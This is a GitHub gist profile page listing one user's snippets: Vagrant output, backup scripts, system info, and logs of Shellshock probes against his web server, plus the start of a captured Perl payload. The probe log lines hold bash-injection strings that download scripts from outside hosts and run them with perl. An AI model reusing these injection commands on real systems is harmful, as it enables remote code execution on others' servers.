Skip to content

Instantly share code, notes, and snippets.

View tlongren's full-sized avatar
🎯
Focusing

Tyler Longren tlongren

🎯
Focusing
View GitHub Profile
@tlongren
tlongren / output.txt
Created October 25, 2014 00:50
scotch/box could not be found
tyler@x55c:~/Desktop/Git/scotch-box$ vagrant up
Bringing machine 'default' up with 'virtualbox' provider...
There are errors in the configuration of this machine. Please fix
the following errors and try again:
vm:
* The box 'scotch/box' could not be found.
tyler@x55c:~/Desktop/Git/scotch-box$
@tlongren
tlongren / probes.txt
Last active August 29, 2015 14:08
Shellshock Attempts
Oct 20 05:22:59 longren httpd: Oct 20 06:22:59 longren.io apache 80.241.209.165 - - [20/Oct/2014:06:22:59 -0400] "GET /cgi-bin/bit.cgi HTTP/1.0"301 - "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; rm -rf j* ; wget http://184.171.247.165/ji ; lwp-download http://184.171.247.165/ji ; curl -O /var/tmp/jiw http://184.171.247.165/ji ; perl /var/tmp/ji ; rm -rf *ji\""
Oct 20 05:23:00 longren httpd: Oct 20 06:22:59 longren.io apache 80.241.209.165 - - [20/Oct/2014:06:22:59 -0400] "GET /cgi-bin/bit.cgi HTTP/1.0"404 55163 "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; rm -rf j* ; wget http://184.171.247.165/ji ; lwp-download http://184.171.247.165/ji ; curl -O /var/tmp/jiw http://184.171.247.165/ji ; perl /var/tmp/ji ; rm -rf *ji\""
Oct 20 08:16:34 longren httpd: Oct 20 09:16:34 longren.io apache 65.254.63.146 - - [20/Oct/2014:09:16:34 -0400] "GET / HTTP/1.0"301 292 "() { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl" "() { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl"
Oct 20
@tlongren
tlongren / payload.pl
Created October 1, 2014 06:28
CVE-2014-6271 payload
#!/usr/bin/perl
# this spreader is coded by xdh
# xdh@xxxxxxxxxxx
# only for testing...
my @nickname = ("|PHP|");
my $nick = $nickname[rand scalar @nickname];
my $ircname = $nickname[rand scalar @nickname];
@tlongren
tlongren / keybase.md
Last active September 20, 2015 14:13

Keybase proof

I hereby claim:

  • I am tlongren on github.
  • I am tlongren (https://keybase.io/tlongren) on keybase.
  • I have a public key whose fingerprint is 3F11 4E99 6D27 AC2B 870E B372 4B31 6E44 7ADA 843A

To claim this, I am signing this object:

@tlongren
tlongren / the-options.md
Last active August 29, 2015 14:06
DOSnapshot Options and Real-World Usage Example

All options:

> $ do_snapshot c  

aliases: s, snap, create

Options:
  -o, [--only=123456 123456 123456]                              # Select some droplets.
  -e, [--exclude=123456 123456 123456]                           # Except some droplets.

-k, [--keep=5] # How much snapshots you want to keep?

@tlongren
tlongren / mylove.txt
Created August 21, 2014 02:51
/proc/cpuinfo output from my main workstation at home
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Intel(R) Xeon(R) CPU X5450 @ 3.00GHz
stepping : 10
microcode : 0xa0b
cpu MHz : 1998.000
cache size : 6144 KB
physical id : 0
@tlongren
tlongren / mysql-backup-alt.sh
Created August 4, 2014 19:33
Backup and Compress All Databases On Your MySQL Server - More Disk I/O Friendly
#!/bin/bash
TS=$(date "+%Y%m%d-%H%M%S")
SNAP=zpool/mysql@${TS}
zfs snapshot $SNAP
zfs send $SNAP | pv | xz -z | ssh somewhere "cat > /mnt/snapshots/mysql-${TS}.xz"
zfs destroy -Rv $SNAP
@tlongren
tlongren / backup-mysql.sh
Last active February 7, 2017 13:48
Backup and Compress All Databases On Your MySQL Server
#!/bin/sh
rightnow=`date +%Y-%m-%d_%H-%M-%S`
/usr/bin/mysqldump -uroot -pyourpasswordfornoprompt --opt --all-databases --single-transaction | bzip2 -cq9 > /home/tyler/mysql-backups/full-$rightnow.sql.bz2
@tlongren
tlongren / intro.md
Last active August 29, 2015 14:02
add content

#Adding a New Issue

  1. Add a new post to WordPress.
  2. Select the PDF, PDF thumbnail, issue year, and issue type at the bottom of the post content area.
  3. Add those newly uploaded files to the post. Use the fuil size thumbnail when inserting into post.
  4. When uploading the thumbnail, save it's name as something like "Wednesday, January 29, 2014"
  5. Make sure to check the proper category, weekly issue or special section, and then the current year.
  6. Set the PDF thumbnail as the featured image for the post (needed for the Past Issues and Special Sections to work).
  7. Publish it!

##Results

@tlongren
tlongren / windstream_iowa.txt
Created May 23, 2014 20:35
First day kids are out of school for summer. I have a business 12Mbps down & 1Mbps up account from Windstream, the only provider in my town.
tyler@echo:~$ ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=2043 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=1959 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=2028 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=46 time=1961 ms
64 bytes from 8.8.8.8: icmp_seq=5 ttl=46 time=1692 ms
64 bytes from 8.8.8.8: icmp_seq=6 ttl=46 time=1759 ms
64 bytes from 8.8.8.8: icmp_seq=7 ttl=46 time=1806 ms
64 bytes from 8.8.8.8: icmp_seq=8 ttl=46 time=1795 ms